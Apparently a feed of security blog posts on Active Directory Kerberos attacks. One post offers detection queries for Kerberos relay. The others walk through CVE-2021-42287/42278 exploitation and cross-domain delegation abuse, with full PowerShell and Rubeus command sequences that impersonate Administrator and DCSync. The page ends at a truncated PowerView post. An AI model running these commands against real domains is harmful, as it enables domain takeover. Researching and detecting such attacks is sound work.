🔒
There are new articles available, click to refresh the page.
✇eXploit

Defending the Three Headed Relay

By: 0xe7

A joint blog written by Andrew Schwartz, Charlie Clark, and Jonny Johnson

Introduction

For the past couple of weeks it has become apparent that Kerberos Relaying has set off to be one of the hottest topics of discussion for the InfoSec community. Although this attack isn’t new and was discovered months ago by James Forshaw, it has recently taken off because a new tool called KrbRelayUp has come to surface that takes James’ work and automates that process for anyone wanting to exploit this activity. This tool however doesn’t only exploit James’ work, but also work from Elad Shamir around S4U2Self/S4U2Proxy, while using code from Rubeus by Will Schroeder. We as a group (Andrew, Charlie, and Jonny) found this interesting as we saw many detections coming out for “Kerberos Relay” that might not actually detect “Kerberos Relay” if the action was performed by itself, but more of post-exploitation actions — say in the S4U activity.

During this blog post we will take a look into Kerberos Relay, break out the different attack paths one could take, and talk about the different defensive opportunities tied to this activity and other activities leading up to Kerberos Relay or after.

Kerberos Relay Explained

Kerberos relaying was described in detail in James Forshaws blog post “Using Kerberos for Authentication Relay Attacks”. The primary focus of Kerberos relaying is to intercept an AP-REQ and relay it to the service specified within the service principal name (SPN) used to request the service ticket (ST). The biggest discovery within James’ research is that using certain protocols a victim client can be coerced to authenticate to an attacker using Kerberos while allowing an SPN to be specified that differs from the service that the client is connecting to. This means that the client will request a ST for an SPN of the attacker’s choosing, create an AP-REQ containing that ST and send it to the attacker. The attacker can then forward this AP-REQ to the target service, disregard the resulting AP-REP (unless the attacker needs to relay this back to the client for some reason) and at this point establish an authenticated session as the victim client.

While there are other potential ways Kerberos relaying can happen, (ie. like man-in-the-middle (MITM) attacks), the primary focus of this post will be on coercing a client to authenticate to the attacker as the method of receiving the AP-REQ. The process is essentially as follows:

Attacker coerces victim client auth with target service SPN -> client requests ST to SPN specified -> client sends AP-REQ to attacker -> attacker extracts AP-REQ sends to target service -> attacker establishes session as victim client

There are some caveat’s to this process. The first being protections enabled on the target service. As with NTLM relaying, if the target service has signing/sealing or channel binding enforced, relaying Kerberos authentication will not work. The second caveat is the protections supported by the client. With some target protocols, if the client indicates support for certain protections, the server will enable those protections, again making Kerberos relaying not possible without some other bug in the implementation.

Potential Attack Paths with Kerberos Relay

There are several potential attack paths that Kerberos relaying allows for. Many of these were documented by James in his initial blog post. As alluded to previously, there are 2 main considerations when discussing Kerberos relaying attack paths:

  1. The protocol used to trigger the authentication from the victim client
  2. The protocol used by the service the authentication is being relayed to

Trigger Protocol

As discussed, the main requirement for the trigger protocol is the ability for the attacker to specify an arbitrary SPN, or at least a partially attacker controlled SPN, when triggering the authentication. Protocols known to potentially have this requirement are:

  • IPSec and AuthIP
  • MSRPC
  • DCOM
  • HTTP
  • LLMNR
  • MDNS

Service Protocol

Depending on the protections enabled on the server, the following protocols are known to be target service protocols for Kerberos relaying:

  • LDAP/LDAPS
  • HTTP
  • SMB

Potentially many combinations of these protocols could be used as attack paths for Kerberos relaying. This presents many attack paths, for instance, relaying to an LDAP server could allow for modification of LDAP objects or relaying to an AD CS HTTP web enrolment endpoint could allow for requesting an authentication certificate.

Detecting Kerberos Relay

Before diving straight into detections, queries, and indicators of activity for these behaviors we think it is important to touch on what we are looking at for detection and why. It is fairly easy to take a tool that performs some behavior then immediately go look at the logs to see what telemetry exists. This isn’t a terrible approach, it just isn’t the only one and not the one we take.

We (Charlie, Andrew, and Jonny) like to approach this detection piece a little differently by breaking up a tool’s capability, understanding what it is trying to accomplish, understanding the technologies tied to an attack and their capabilities, and identifying what actions (if any) apply to other techniques. We then like to find the core behavior the attack is built on and identify what pieces of that action is or can be controlled by an attacker. This process helps us identify which behaviors are explicitly tied to the attack and which might relate to an action that was performed prior to the attack or after. One thing we don’t want to do is create detection explicitly tied to the tool, but to the attack. We are using the tool as a starting point of understanding the attack and the various variants an attacker may take to accomplish these actions.

That being said, every attack will have a pre, intra, and post action. These actions are extracted during the research process and help us scope what capabilities we are trying to detect. Let us explain.

In order for an attack to be run, an attacker must do something that gives them the ability to perform that action. This could be a number of things, let’s use the following as an example of pre-action activity:

  • Gain access to a domain user
  • Compromise/obtain a foothold on a box
  • Run a LDAP query for reconnaissance
  • Escalate to a local administrator/High IL

You then have the actual attack (intra-action):

  • Kerberoast
  • Dump LSASS
  • Access Token Impersonation

Finally, the attacker is going to do something with whatever output the attack gives them — being the post-action:

  • Logs on as user
  • Impersonates user

Here is a visual representation of this:

This allows us to apply a detection layering approach when creating detections for these behaviors because there is going to be something within the pre-action that we can relate to the intra-action, and similarly the intra-action to the post-action. Due to this we can change the diagram up a little bit:

As you can probably tell by now, every post-action leads into a pre-action. It restarts the attack flow. We see this below with Kerberos Relay. One potential post-action is to perform S4U2Self/S4U2Proxy. Kerberos Relay has now become a pre-action to this activity and a post-action could be that an attacker is using that ability to login, talk to the SCM to create a service and run a process as SYSTEM.

If we just run the attack and look directly at the logs it is easy to start making assumptions. So before we run the attack we can break out what we are looking for, then go look for it. This allows us to truly understand what layer we are applying a detection, which inherently will help us understand what level of coverage we have.

We can now apply this to Kerberos Relay in the next section.

Detection Queries

Some of the attacks within the pre/intra/post actions were applied due to how KrbRelayUp was exploiting this activity. The attacker doesn’t always have to take these exact paths and some of the specifics may change, for example — below we show a detection for the COM server initialization/TCP connection. An attacker could use a different protocol like HTTP/LDAP. Although we didn’t create queries for each one of these scenarios we wanted to share the different pre/intra/post-action detections someone could create.

Pre-Kerberos Relay Detections:

  • Initial domain user foothold (No detection added as there are so many options)
  • LDAP queries to identify potential SPNs available
  • Computer account added via LDAP (Using Microsoft Defender for Endpoint DeviceEvents)
1
2
3
4
5
DeviceEvents
| where ActionType containsLdapSearchand (InitiatingProcessParentFileName !has (“services.exe”) or InitiatingProcessAccountName !in (“local service”, “system”))
| extend SearchFilter= extractjson(“$.SearchFilter”, AdditionalFields)
| where SearchFilter containssAMAccountNameand SearchFilter contains “$”
| summarize count() by Timestamp, InitiatingProcessAccountName,InitiatingProcessParentFileName, InitiatingProcessFileName, SearchFilter, InitiatingProcessCommandLine, AdditionalFields, InitiatingProcessLogonId

Note: This query was created via MDE and will look for when a computer account is created via LDAP, for this attack this is totally optional. To perform this specific attack path, the attacker only requires the credentials of any computer object or a user object with an SPN. There are many other ways to potentially obtain one.

  • Computer Account added via Splunk and Window Security Event ID 4741:
1
index=windows sourcetype=Security EventCode=4741 AND SAM_Account_Name = “*$”

Going a step further would be to correlate the 4741 with Windows Security Event ID 4673. As Andrew wrote in his post the event details in 4673 contain the four (4) SPN’s that are also created when a computer account is created with certain attack tools (in their present state as of writing this post). Kevin Robertson first blogged about the 4 SPN’s being generated in his post, “MachineAccountQuota is USEFUL Sometimes: Exploiting One of Active Directory’s Oddest Settings.” Many publicly available Open Source Tools (OSTs) incorporate the same 4 SPNs into their tooling.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
index=windows (EventCode=4741 MSADChangedAttributes=*(*HOST/*) AND *(*RestrictedKrbHost/*) New_UAC_Value=0x80) OR (EventCode=4673 Privileges=SeMachineAccountPrivilege) 
| eventstats values(Process_Name),values(Privileges),values(EventCode) as EventCode by Logon_ID 
| search EventCode=4741
| rex field=_raw “(Message=(?<Message>[a-zA-z ].*))” 
| eval datetime=strftime(_time, “%m-%d-%Y %H:%M:%S.%Q”) 
| stats count values(datetime),values(Process_Name),values(Privileges),values(EventCode),values(MSADChangedAttributes),values(Message),values(Account_Domain),values(Security_ID),values(SAM_Account_Name),values(DNS_Host_Name) by Logon_ID 
| search count >=2 
| rename values(*) as * 
| eval Effecting_Account=mvindex(Security_ID,1) 
| eval New_Computer_Account_Name=mvindex(Security_ID,0) 
| table datetime,Account_Domain,Effecting_Account,Logon_ID,New_Computer_Account_Name,DNS_Host_Name,Message,MSADChangedAttributes,Process_Name,Privileges,EventCode

Intra-Kerberos Relay Detections:

  • DCOM Server connection with TCP connection to localhost (Using Splunk and Window Security Event ID 5156):
1
index=windows sourcetype=Security EventCode=5156 Direction=Inbound AND Source_Address=::1 AND Destination_Address=::1 AND Process_ID !=4 AND Protocol=6

Post-Kerberos Relay Detections:

  • RBCD Exploitation (Using Splunk and Window Security Event ID 5136/4768/4769)
1
2
3
4
5
6
7
8
index=windows sourcetype=”Security” ((EventCode=5136 AND “msDS-AllowedToActOnBehalfOfOtherIdentity”) AND (Type=”Value Added” OR Type=”Value Deleted”)) OR EventCode=4768 OR EventCode=4769 
| eval alt_type=mvindex(Type,2) 
| eval datetime=strftime(_time, “%m-%d-%Y %H:%M:%S.%Q”) 
| bucket _time span=11m
| stats dc(EventCode) as eventcodes,values(EventCode),values(datetime),values(LDAP_Display_Name),values(host),values(Account_Domain),values(Client_Address),values(Service_Name),values(Service_ID),values(Ticket_Options),values(Class),values(Ticket_Encryption_Type),values(alt_type) by _time 
| rename values(*) as *
| where eventcodes >=3
| table _time,datetime,host,Account_Domain,Client_Address,Service_Name,Service_ID,Ticket_Options,Ticket_Encryption_Type,Class,LDAP_Display_Name,alt_type,EventCode,eventcodes

It should be noted that this detection query has limitations given its use of bucket _time span. We employed the use of this time feature as there was not an easy way (i.e. by Logon ID) to correlate the three events. The only common variable we discovered between these three different events observed was time, specifically all within a 15 second window. While this query worked in our lab with our specific dataset, we would like to point out that by grouping the events by time in a bucket, events can possibly occur outside the span of the bucket as we don’t know WHEN the event will take place. As such the event could occur in the middle of the bucket or it could be on the “edge.” A thank you to Greg Rivas for helping create the above SPL query.

During the writing of this post the author of KrbRelayUp added support for Shadow Credentials, which performs slightly different post-actions than we have specified above. However; it is good to note that Shadow Credentials is still a post-action potential attack that can be leveraged.

Mitigations

  1. Limit MAQ attribute and/or restrict the SeMachineAccountPrivilege to a specific group rather than Authenticated Users
  2. Extended Protection for Authentication (EPA)/Protocol Signing/Sealing and Channel Binding
  3. Disabling mDNS/LLMNR
  4. Require authenticated IPsec/IKEv2
  5. Disabling Disable NTLM

A thank you to James Forshaw for vocalizing some of these mitigations when introducing this attack.

Conclusion

During this write-up we wanted to give a brief explanation of Kerberos Relay, how this can be exploited, and the various levels of detection/prevention that could be applied. Although we didn’t go over every pre/post-exploitation scenario an attacker could take, we wanted to highlight the importance of thinking about attacks from a pre/intra/post-action perspective. This helps us identify the scope of our detections, which will then allow us to identify at what depth we are applying the detection.

We hope this was helpful and a huge thank you to James Forshaw again for his previous work on this.

References

  • https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
  • https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
  • https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/
  • https://github.com/Dec0ne/KrbRelayUp
  • https://github.com/cube0x0/KrbRelay
✇eXploit

More sAMAccountName Impersonation

By: 0xe7

So in my excitement to put out the previous post I forgot something and since then I've thought of another attack path that may come in useful for some people.

For these examples I'm using the internal.user account in the internal.zeroday.lab domain, as shown below:

This is just a generic low privileged user.

Trusts

I did reply to my tweet afterwards, but I thought it'd be best to explain a little more that this works across trusts.

As mentioned in a previous post I did, creating machine accounts across trusts is not only possible but can be incredibly useful. This is another example of that.

A forest trust is configured between the internal.zeroday.lab and external.zeroday.lab forests:

A new machine account (named NewComputer) is created across this trust on the external.zeroday.lab domain:

The SPNs can be cleared from this newly created account:

It's best to get the distinguishedname of the machine account for changing the name:

Lastly, the name can be changed to the same as the domain controller minus the '$':

At this point the attack is exactly the same as the initial example I gave in the original post, ie. request a TGT for EDC1, rename machine account back, perform S4U2self.

User Account

Another example of exploitation involved user account control. 2 more prerequisites are required to perform the attack using a user account, The GenericAll privilege over the user account and access to the account credential. Any user account can be used to perform the attack.

There are several potential ways of obtaining the user account password when you have GenericAll over it, including tageted Kerberoasting from Will Schroeder, Shadow Credentials by Elad Shamir, just resetting the user password and probably more I'm forgetting right now. Point is, I'm not going to go into all of the potential ways you might do this, I'm just going to assume the password has been obtained.

So the user I'm running as (internal.user) has GenericAll over the target user (new.user):

Changing the samaccountname to that of the DC minus the '$' is also possible using PowerView:

The attack from this point is exactly the same as in the original post, I'm not going to duplicate all of that here, you can try it for yourself if you want. Interestingly on patched servers you can rename a user account this way with GenericAll over it, but the S4U2self part fails with KDC_ERR_TGT_REVOKED error due to the new Requestor PAC_INFO_BUFFER being included within the TGT's PAC.

EDIT: Charlie BROMBERG suggested GenericAll isn't actually required and this works with GenericWrite or even WriteProperty on sAMAccountName for changing the samaccountname, but it is important to remember that the ability to request a TGT for this account is required too, so the higher the privileges, the more likely you are to be able to do this.

Conclusion

It is very important that all domain controllers throughout the whole enterprise is patched against these issues due to the impact of exploitation and the ease with which it can be performed.

While more limited, it may still be possible in situations where a machine account cannot be created/controlled or renaming of machine account fails.

✇eXploit

CVE-2021-42287/CVE-2021-42278 Weaponisation

By: 0xe7

So on 9th November 2021, Cliff Fisher tweeted about a bunch of CVE's to do with Active Directory that caught a lot of people's eyes. These included CVE-2021-42278, CVE-2021-42291, CVE-2021-42287 and CVE-2021-42282. The one that caught my eye the most was CVE-2021-42287 as it related to PAC confusion and impersonation of domain controllers, also having just worked on PAC forging with Rubeus 2.0.

This post discusses my quest to figure out how to exploit this issue and some things I discovered along the way.

I just want to highlight that there's no new research here, this issue was discovered by Andrew Bartlett of Catalyst IT. I just found one way to weaponise it, there may well be others in the issues he found.

A Little Digging

So immediately upon seeing Cliff's tweet, Ceri Coburn and I started tryng to figure out how this could be exploited. We (perhaps incorrectly) latched onto the text on Microsofts description of CVE-2021-42287 which seemed to be based around the idea of TGT's being issued without PACs. This led me to modify Rubeus to allow for requesting TGT's without a PAC.

After Ceri debugging the Windows KDC and us digging through the leaked XP source we were convinced that to trigger the codepath we needed to go down (to insert a PAC into a ST when it was requested with a TGT lacking a PAC) required a cross domain S4U2self but was unable to get it to work. The only way we could get a DC to add a PAC when an service ticket (ST) was requested using a TGT without a PAC was by configuring altSecurityIdentities.

This process involves modifying the altSecurityIdentities attribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain] to impersonate that user.

So below you can see a low privileged user (internal.user) of the local doamin (internal.zeroday.lab) has GenericAll over a high privileged user (external.admin) of a different domain (external.zeroday.lab):

As this user we can add ourselves to the altSecurityIdentities attribute as shown below:

Now we can get a TGT from our local DC and request it without a PAC using the new /nopac switch:

This results in an obviously small TGT. We then use that TGT to request a referral to the target domain (external.zeroday.lab) from our local DC:

That referral can then be used to request ST's for services on our target domain (external.zeroday.lab). Here I'm requesting a ST for LDAP/EDC1.external.zeroday.lab the DC's LDAP service:

The size of the ST is very large compared to the previous 2 tickets, this is because (as we'll see) a PAC has been added. As shown in the klist output below, this ST is for the original user internal.user which has no special privileges on either domain:

Using this ST, however, we can DCSync:

So what happened here is the DC has searched for the account in the local database, it hasn't found it so it's then searched to see if any accounts have this account listed in their AltSecurityIdentities attribute, which external.admin does because we added it earlier, and if so, the DC adds a PAC belonging to that account. This can be verified using Rubeus' describe command and the AES256 key we just DCsync'd:

We now effectly have the privileges of the external.admin user on the external.zeroday.lab domain.

This didn't help us exploiting the issue we wanted but I did find it interesting.

Some Progress

Then along came this tweet from Clément Notin which actually mentioned the Samba information regarding these issues and led me to CVE-2020-25719 and this patch. What particularly caught my attention was this paragraph:

Delegated administrators with the right to create other user or machine accounts can abuse the race between the time of ticket issue and the time of presentation (back to the AD DC) to impersonate a different account, including a highly privileged account.

Suddenly I realised that to make the local lookup fail, we didn't need to attack a foreign domain but perhaps remove the account after retrieving the TGT.

I started playing with naming a machine account the same as the local DC (minus the $), requesting a TGT (still without a PAC), removing the machine account and using that TGT. I noticed something funny.

When using this PAC-less TGT with a U2U request but without supplying an additional ticket, it was failing to decrypt the resulting ST:

The U2U ST should be encrypted with the session of within the provided TGT but as I didn't provide an additional ticket I assumed it was triyng to lookup the account based on the sname which I was setting to IDC1 the samaccountname of my now missing machine account. I had the idea to try decrypting this ST using the long term key of the domain controller that I was naming my machine account after (IDC1$):

It worked! It sucessfuly decrypted the ST, it just couldn't find the PAC because there wasn't one there. I tried the same thing using S4U2self and got the same result, the DC was looking for my IDC1 account, not finding it and then search for the same but adding a $ on the end, finding the domain controller account and encrypting the ticket using it's key instead.

At that time I still couldn't figure out why it wasn't adding the PAC, so I decided to try requesting the initial TGT with a PAC instead of without a PAC and surprisingly it worked! So apparently there was no need to request a TGT without a PAC, supplying a TGT with a PAC for an account that has the samaccountname of the DC minus the $ to a request for an S4U2self ticket, when the intial account no longer exists, results in the ST being encrypted using the key of the DC.

The sname of that resulting ST can be modified as per Alberto Solino's post here. So it can be used to authenticate against any service on the target box, even users protected from delegation, as Elad Shamir mentions in the Solving a Sensitive Problem section of Wagging the Dog.

The last thing to work out was how can we get a machine account in this state from a low privileged user, as until now I was manually modifying the machine account as an admin. Thankfully Kevin Robertson's amazing post on the Macine Account Quota helped massively. It explains that the creator of the machine account has control over various attributes including the samAccountName and ServicePrincipalName. Another problem I was running into was trying to change the samaccountname, as trying to change it to be the same as the DC minus the $, I was getting the following error:

As Kevin mentions in his post:

If you modify the samAccountName, DnsHostname, or msDS-AdditionalDnsHostName attributes, the SPN list will automatically update with the new values.

So the SPN it was trying to set was already an SPN belonging to the target DC. Ceri suggested removing the SPNs before changing the samaccountname, which worked.

Lastly, until now I was removing the machine account after requesting the TGT (which requires admin privileges), I had to test whether disabling it or renaming it worked too. Disabling it resulted in a S_PRINCIPAL_UNKNOWN error being returned by the DC when requesting the S4U2self but renaming it worked.

Finally all of the pieces were in place.

Checking If Exploitable

To exploit this requires 3 things, at least 1 DC not patched with either KB5008380 or KB5008602, any valid domain user account and a Machine Account Quota (MAQ) above 0.

To determine if a DC is patched is very easy. Using my additional /nopac switch to Rubeus' asktgt, request a TGT without a PAC, if the DC is vulnerable it'll look like the following:

Look at the size of the returned TGT. If the DC is not vulnerable the TGT will look as follows:

The size difference is immediately obvious. The next thing to check would be the MAQ:

By default it is 10 as above but can be changed, anything above 0 will do. Lastly we need to check the SeMachineAccountPrivilege which is granted to Authenticated Users by default:

If everything checks out, we can exploit this issue.

The Full Attack

The first step is to create a machine account we can use for the attack (The account I create is called TestSPN$). Kevin's Powermad works nicely for this:

After this, PowerView's Set-DomainObject can be used to clear the SPNs from the machine account:

Changing the machine account's samaccountname can be done using Powermad's Set-MachineAccountAttribute (Here I'm changing it to IDC1, because the DC's samaccountname is IDC1$):

Rubeus' asktgt can be leveraged to request a TGT for that newly created machine account (This is just a normal TGT for the machine we just created but using it's new samaccontname):

Set-MachineAccountAttribute can again be used to change the machine accounts samaccountname (either back to what it was or something else entirely, it doesn't matter):

With the machine account renamed, it is now possible to request an S4U2self ticket using the retrieved TGT and get an ST encrypted with the DC's key, at the same time we can rewrite the sname within the ticket to be the LDAP service:

Here, I've impersonated the Administrator user for the LDAP service on the DC. It's worth noting that this could be any user on any service on any system on the domain.

The ticket has been sucessfully injected into LSA as shown below:

Using that ticket it is now possible to DCSync:

The commands I run to do this are shown below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Create Machine Account
New-MachineAccount -MachineAccount TestSPN -Domain internal.zeroday.lab -DomainController idc1.internal.zeroday.lab -Verbose

# Clear SPNs
Set-DomainObject "CN=TestSPN,CN=Computers,DC=internal,DC=zeroday,DC=lab" -Clear 'serviceprincipalname' -Verbose

# Change Machine Account samaccountname
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "IDC1" -Attribute samaccountname -Verbose

# Request TGT
.\Rubeus.exe asktgt /user:IDC1 /password:Password1 /domain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /nowrap

# Change Machine Account samaccountname
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose

# Request S4U2self
.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:idc1.internal.zeroday.lab /self /altservice:LDAP/IDC1.internal.zeroday.lab /ptt /ticket:[TGT]

Mitigation / Detection

The best way to mitigate against this is to install the Microsoft patch (KB5008602), this patch fixes the issue with PAC confusion as well as fixes this issue with S4U2self created by the earlier KB5008380 patch.

Setting the Machine Account Quota to 0 is a quick and easy fix for stopping low privileged user from being able to create machine accounts, another related fix is to remove Authenticated Users from the SeMachineAccountPrivilege and adding Domain Admins or another group of allowed accounts.

There are several Events caused by various steps which would be useful for determining attempts to perform this attack. The credit for determining these Events should go entirely to Andrew Schwartz, I simply sent my logs to him after I performed the attack.

Machine Account Creation

Firstly, there is a 5156 event of an inbound connection to LDAP to create the machine account, For this event ID Andrew leveraged the research of “A Voyage to Uncovering Telemetry: Identifying RPC Telemetry for Detection Engineers” By: Jonathan Johnson:

Immediately followed by a 4673 event, which is the usage of the SeMachineAccountPrivilege:

As well as a 4741 event, describing the creation of the machine account:

And a 4724 event, regarding the password reset of the newly create machine account:

Clearing The SPNs

Next a 4742 event can be seen when the SPNs are removed from the machine account, this will show for the Service Principal Names field, as shown below:

Changing the SamAccountName

A 4742 event will also show when the SAM Account Name is changed, and the new name will be shown in the SAM Account Name field:

More interestingly, a 4781 event will show both the old account name and the new account name:

Get TGT

When retrieving the TGT, a 4768 event will show, interestingly the Account Name field will show the new name of the account, while the User ID field will show the old name:

Then the account name change happens again with the 2 events mentioned above.

S4U2self

Lastly, as Elad mentions in his Wagging the Dog post, event 4769 fires, this time, however, some discrepancy is shown between Account Name and Service Name, while the Service Name field has the proper machine account name, the Account Name is missing the trailing dollar ($):

Conclusion

With the November 9th updates, many changes were made to AD and I wouldn't be surprised if many other avenues existed using those issues but the one I use directly from a low privileged user to full domain takeover with a default configuration.

Ensuring all DC's are fully patched should be the main priority here as it will only take 1 unpatched DC for domain takeover to be possible.

On top of patching, proper AD hardening with decent monitoring will always minimise the impact of any compromise significantly.

✇eXploit

Another Delegation Edge Case

By: 0xe7

While coding the cross domain S4U into Rubeus I only really considered the situation where the user that was to be impersonated was in the target/foreign domain, but not if the user was in the source/local domain. After looking at how the process of requesting delegation worked when impersonating a user on the local domain, I decided to write this post detailing how it works and when it might be useful.

The information in this post is reasonably complex and I won't be going over previous work on how S4U works, the best places to see this is probably the Microsoft Documentation and Elad Shamir's post. It might also be helpful to check out my original post on cross domain S4U if you haven't already.

So let's get to it.

The Standard Process

I've created a diagram for showing how these tickets are requested when the OS performs this type of delegation:

This can understandably look a little intimidating, so let's break it down:

  1. The service account gets its standard TGT from the local DC, this is nothing interesting and included for the sake of completion. (1 and 2)

  2. The account connects to the service accounts SPN using a standard service ticket, which is forwardable. (3)

  3. The service account uses its TGT to request a referral TGT from the local DC for the foreign domain where the end service resides (krbtgt/Domain2). (4 and 5)

  4. The service account uses its TGT, with the standard service ticket (provided by the connecting account) as an additional ticket, to request a service ticket for the end service SPN from the local DC. This results in what I'm calling a delegated referral TGT for the foreign domain being issued by the local DC. (6 and 7)

  5. The service account uses its referral TGT to request a service ticket for itself for the end service from the foreign DC. (8 and 9)

  6. The service account finally requests the delegated service ticket for the end service as the connecting user account from the foreign DC using the service accounts referral TGT and the delegated referral TGT (obtained in step 4 in this list or 6 and 7 in the image) as an additional ticket. (10 and 11)

From this we can determine that the main thing that is required to impersonate a local account on a service on a foreign domain is a forwardable service ticket from that account.

With this in mind, I decided to try to find a scenario this might be useful in.

The Situation

The following diagram shows the relevant part of the lab setup for this demonstration:

The position we are currently in is we have compromised the low privileged user child.user in the child domain child1.internal.zeroday.lab.

For the sake of simplicity, this user has an SPN set:

There are many ways to obtain an account with an SPN, including creating a machine account, compromising an account with an SPN, adding an SPN to an account you have Write privileges on. The other important thing here is that the user child.user has GenericWrite privileges on the machine account ISQL1 on the parent domain (internal.zeroday.lab):

The last thing to note here is the machine account quota for the parent domain (internal.zeroday.lab) is set to 0:

So there's no creating machine accounts to hop across the trust, as I demonstrated in a previous blog post.

Gaining Access to ISQL1

Due to having GenericWrite privileges on ISQL1 it is possible to configure resource-based constrained delegation (RBCD) to allow ourselves the ability to delegate to it:

At this point child1.internal.zeroday.lab\child.user can delegate to internal.zeroday.lab\ISQL1$.

The first thing we might try is to delegate to an administrative user on the foreign domain (internal.zeroday.lab), internal.admin is a member of the Domain Admins group so might be a good option. Using the Rubeus additions I did here I can try the following command to impersonate internal.admin:

1
Rubeus.exe s4u /user:child.user /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /impersonateuser:internal.admin /targetdomain:internal.zeroday.lab /targetdc:idc1.internal.zeroday.lab /msdsspn:CIFS/ISQL1.internal.zeroday.lab /nowrap

This results in a KDC_ERR_BADOPTION error, as shown below:

We can see the reason for this by looking at the S4U2Self ticket returned by the local DC (IC1DC1.child1.internal.zeroday.lab) with Rubeus' describe command:

This ticket does not have the forwardable flag set, meaning it can't be used to perform the S4U2Proxy extension. Looking at the user internal.admin we can see that it is protected from delegation:

So the question becomes, what can we do if all users in the foreign domain with the desired privileges on the target system are protected from delegation? Well, there are several potential attack paths but the one we're going to focus on here is impersonating a user in the local domain that has administrative privileges on the target system. Again for simplicity sake, I've just added a user (child1.internal.zeroday.lab\sql.admin) to the local Administrators group on ISQL1:

With what we know about the process of obtaining a service ticket for child1.internal.zeroday.lab\sql.admin to internal.zeroday.lab\ISQL1, all we require is a forwardable service ticket to our account (child1.internal.zeroday.lab\child.user). Using a trick Elad mentions in the A Forwardable Result section of his Wagging the Dog post, all service tickets produced by S4U2Proxy is always forwardable.

This means that providing the user sql.admin can be delegated (shown below), we can obtain a forwardable service ticket using RBCD.

So configuring RBCD on ourselves (child.user) so we can delegate to ourselves:

The following Rubeus command was used to retrieve a forwardable service ticket as the user sql.admin for the SPN blah/foobar (just a junk one for demonstration purposes) which belongs to the account child.user:

1
Rubeus.exe s4u /user:child.user /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /impersonateuser:sql.admin /msdsspn:blah/foobar /nowrap

Using Rubeus' describe command shows that this ticket is forwardable:

Now everything is in place to gain access to the remote system ISQL1. The following requests is the process in full described earlier to obtain the desired delegated service ticket for CIFS/ISQL1.internal.zeroday.lab as the user child1.internal.zeroday.lab, with any requests not required omitted. Each request, except gaining the TGT initially, are made manually using the asktgs Rubeus command.

Firstly the TGT for the service account (child.user) is required:

We already have the forwardable service ticket to child.user, so we don't need to worry about that. Next we have to obtain a referral TGT as the service account (child.user) for the foreign domain (internal.zeroday.lab), for this we only require the TGT just obtained. We can use the following command for that:

1
Rubeus.exe asktgs /service:krbtgt/internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /nowrap /ticket:doIFq...(snip)...

The last thing we require from the local DC is the delegated referral TGT, to get this I made another PR to Rubeus which allows for including additional tickets when using asktgs by providing the /tgs:X argument. Using the following command and including the primary TGT for the service account (child.user) as the /ticket:X argument and the forwardable service ticket as the /tgs:X argument, it is possible to request this delegated referral TGT:

1
Rubeus.exe asktgs /service:CIFS/ISQL1.internal.zeroday.lab /nowrap /dc:ic1dc1.child1.internal.zeroday.lab /ticket:doIFqjCCB...(snip)... /tgs:doIGPDCCB...(snip)...

We can skip requesting a service ticket for the end service using only the referral TGT for child.user as we won't be using that ticket. The last thing we need to do it request the final service ticket for CIFS/ISQL1.internal.zeroday.lab from the DC for the domain internal.zeroday.lab (IDC1.internal.zeroday.lab), this is the ticket we can use to impersonate sql.admin on the target service. To do this we use a similar command to the one we just run, except instead of the TGT and fowardable service ticket, we use the referral TGT and delegated referral TGT, and instead of the local DC we request it from the foreign DC, you also have to pass Rubeus the /usesvcdomain switch because cross-domain stuff is hard:

1
Rubeus.exe asktgs /service:CIFS/ISQL1.internal.zeroday.lab /nowrap /dc:idc1.internal.zeroday.lab /usesvcdomain /ticket:doIFpjCCB...(snip)... /tgs:doIHJjCCB...(snip)...

And finally we get the service ticket we're after:

Using this ticket gives as access to the CIFS service on the target ISQL1:

Conclusion

While this attack path is probably not normally required, due to other easier attack paths being likely possible, it does show that unsual edge cases exist that could allow for privilege escalation within a domain or even across domain trusts. Defenders should therefore ensure that they are fully aware of the configuration of their whole enterprise and the implications any of those configurations could have on the security of the infrastructure as a whole.

✇eXploit

PowerView - A New Hope

By: 0xe7

I'd been wanting to add some features to PowerView for a while, it's arguably the tool I use most on infrastructure assessments, and when @harmj0y officially discontinued PowerSploit I decided to fork it and start adding them.

For anyone that doesn't know, PowerView is an amazing tool written in PowerShell that can be used for playing with Active Directory and particually performing recon of Active Directory.

This post is about some new features I've added to it. My forked version can be found here.

RBCD Support

Until now dealing with RBCD (or the msds-allowedtoactonbehalfofotheridentity attribute) using PowerView was a manual process. Using Security.AccessControl.RawSecurityDescriptor with an security descriptor definition language (SDDL) string as an argument and manually converting it, as documented here and here.

I wanted to automate this so I created the Get-DomainRBCD and Set-DomainRBCD functions.

Get-DomainRBCD

Get-DomainRBCD by default finds all accounts, user and computer, that have the msds-allowedtoactonbehalfofotheridentity. It returns a custom PS object where the SID's have been resolved if possible. If identities are specified then only the RBCD configuration of those identities are returned:

It also tells you whether the account (either source account or account that's been granted delegation rights) is a user or machine account. This is useful to know because only 1 type of account can be configured on the msds-allowedtoactonbehalfofotheridentity security descriptor at once. So either all computer accounts or all user accounts, but a mixture of the 2.

Set-DomainRBCD

To compliment Get-DomainRBCD, I created Set-DomainRBCD, which can be used to configured RBCD on an account.

The Identity parameter is the account(s) where RBCD is to be configured, it can be done on multiple accounts at once and works the same way as in the other PowerView functions, like Get-DomainUser. The DelegateFrom parameter is a pipe ('|') delimited list of identities to delegate access to. The argument to DelegateFrom can be any format also supported by the Identity parameter:

Configuring RBCD the same as in the previous screenshot can be done like this:

Here, I configure RBCD on the computer account ISQL1 and delegate access to ISQL1 and ISQL2. This results in the same configured shown previously:

Finally, it is possible to easily remove this configuration using the -Clear switch to Set-DomainRBCD:

This makes dealing with RBCD using only PowerView much easier.

Ownership

